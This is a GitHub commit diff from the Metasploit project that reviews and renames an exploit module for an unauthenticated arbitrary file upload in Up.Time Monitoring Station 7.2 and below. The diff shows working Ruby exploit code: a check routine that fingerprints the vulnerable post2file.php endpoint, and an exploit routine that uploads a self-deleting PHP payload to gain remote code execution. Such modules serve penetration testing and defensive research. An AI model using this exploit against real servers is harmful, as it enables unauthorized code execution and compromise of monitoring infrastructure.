Skip to content

Commit 3ed293a

Browse files
committed
Merge pull request #1 from jvazquez-r7/review_2723
Review uptime_file_upload
2 parents 3d32736 + 3729c53 commit 3ed293a

File tree

1 file changed

+17
-10
lines changed

1 file changed

+17
-10
lines changed

modules/exploits/linux/http/uptime_file_upload.rb renamed to modules/exploits/multi/http/uptime_file_upload.rb

Lines changed: 17 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -14,11 +14,11 @@ class Metasploit3 < Msf::Exploit::Remote
1414

1515
def initialize(info = {})
1616
super(update_info(info,
17-
'Name' => 'Up.Time Monitoring post2file.php Arbitrary File Upload',
17+
'Name' => 'Up.Time Monitoring Station post2file.php Arbitrary File Upload',
1818
'Description' => %q{
19-
This module exploits an arbitrary file upload vulnerability found within the Up.Time monitoring server
20-
7.2 and below. A malicious entity can upload a PHP file into the webroot without authentication, leading
21-
to arbitrary code execution.
19+
This module exploits an arbitrary file upload vulnerability found within the Up.Time
20+
monitoring server 7.2 and below. A malicious entity can upload a PHP file into the
21+
webroot without authentication, leading to arbitrary code execution.
2222
},
2323
'Author' =>
2424
[
@@ -27,11 +27,14 @@ def initialize(info = {})
2727
'License' => MSF_LICENSE,
2828
'References' =>
2929
[
30-
['URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf']
30+
[ 'OSVDB', '100423' ],
31+
[ 'BID', '64031'],
32+
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ]
3133
],
3234
'Payload' =>
3335
{
34-
'BadChars' => "\x00"
36+
'Space' => 10000, # just a big enough number to fit any PHP payload
37+
'DisableNops' => true
3538
},
3639
'Platform' => 'php',
3740
'Arch' => ARCH_PHP,
@@ -42,7 +45,10 @@ def initialize(info = {})
4245
'DefaultTarget' => 0,
4346
'DisclosureDate' => 'Nov 19 2013'))
4447

45-
register_options([ OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']),], self.class)
48+
register_options([
49+
OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']),
50+
Opt::RPORT(9999)
51+
], self.class)
4652
end
4753

4854
def check
@@ -53,7 +59,7 @@ def check
5359
'uri' => normalize_uri(uri, 'wizards', 'post2file.php')
5460
})
5561

56-
if res and res.code == 200
62+
if res and res.code == 500 and res.body.to_s =~ /<title><\/title>/
5763
return Exploit::CheckCode::Appears
5864
end
5965

@@ -66,7 +72,7 @@ def exploit
6672
uri = target_uri.path
6773

6874
@payload_name = "#{rand_text_alpha(5)}.php"
69-
php_payload = get_write_exec_payload(:unlink_self=>true)
75+
php_payload = get_write_exec_payload(:unlink_self => true)
7076

7177
post_data = ({
7278
"file_name" => @payload_name,
@@ -79,7 +85,8 @@ def exploit
7985
'uri' => normalize_uri(uri, 'wizards', 'post2file.php'),
8086
'vars_post' => post_data,
8187
})
82-
unless res and res.code == 200
88+
89+
unless res and res.code == 200 and res.body.to_s =~ /<title><\/title>/
8390
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
8491
end
8592

0 commit comments

Comments
 (0)